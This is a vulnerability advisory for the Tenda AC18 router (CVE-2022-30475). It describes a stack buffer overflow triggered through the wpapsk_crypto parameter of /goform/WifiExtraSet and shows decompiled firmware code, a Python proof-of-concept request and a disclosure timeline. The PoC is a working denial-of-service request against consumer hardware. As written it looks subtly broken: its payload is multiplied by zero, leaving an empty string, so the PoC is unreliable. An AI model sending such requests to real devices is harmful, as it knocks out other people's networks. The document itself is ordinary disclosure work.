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Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/WifiExtraSet` page which influences the latest version of Tenda Router AC18. (The latest version is [AC18_V15.03.05.19\(6318\)](#))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `fromSetWirelessRepeat` .

In function `fromSetWirelessRepeat` it reads user provided parameter `wpapsk_crypto` into `victim_buf` , and this variable is passed into function `strcpy` without any length check, which may overflow the stack-based buffer `vuln_buf` .

```

370     }
371     v43 = (char *)websgetvar(a1, "wpapsk_type", (int)"wpa&wpa2");
372     victim_buf = (char *)websgetvar(a1, "wpapsk_crypto", (int)"aes");
373     v41 = (char *)websgetvar(a1, "wpapsk_key", (int)&unk_EFC98);
374     if ( !*v41 && strlen(v41) <= 7 )
375     {
376         v59 = 1;
377         goto LABEL_121;
378     }
379     if ( !strcmp(v43, "wpa") )
380     {
381         strcpy(v15, "psk");
382     }
383     else if ( !strcmp(v43, "wpa2") )
384     {
385         strcpy(v15, "psk2");
386     }
387     else
388     {
389         strcpy(v15, "psk psk2");
390     }
391     if ( !strcmp(victim_buf, "tkip&aes") )
392         strcpy(vuln_buf, "tkip+aes");
393     else
394         strcpy(vuln_buf, victim_buf); // Vulnerability code
395     SetValue("wl2g.extra.wpapsk_type", v15);
396     SetValue("wl2g.extra.wpapsk_crypto", vuln_buf);
397     SetValue("wl2g.extra.wpapsk_psk", v41);

```

So by requesting the page /goform/WifiExtraSet , the attacker can easily perform a Deny of Service Attack.

PoC

```
import requests
```

```
IP = "10.10.10.1"
```

```
url = f"http://{IP}/goform/WifiExtraSet?"
```

```
url += "wl_mode=not_ap&security=wpapsk&wpapsk_key=kkkkkkkk&wpapsk_crypto=" + "s" * 0
```

```
response = requests.get(url)
```



Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30475)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41850)

Acknowledge

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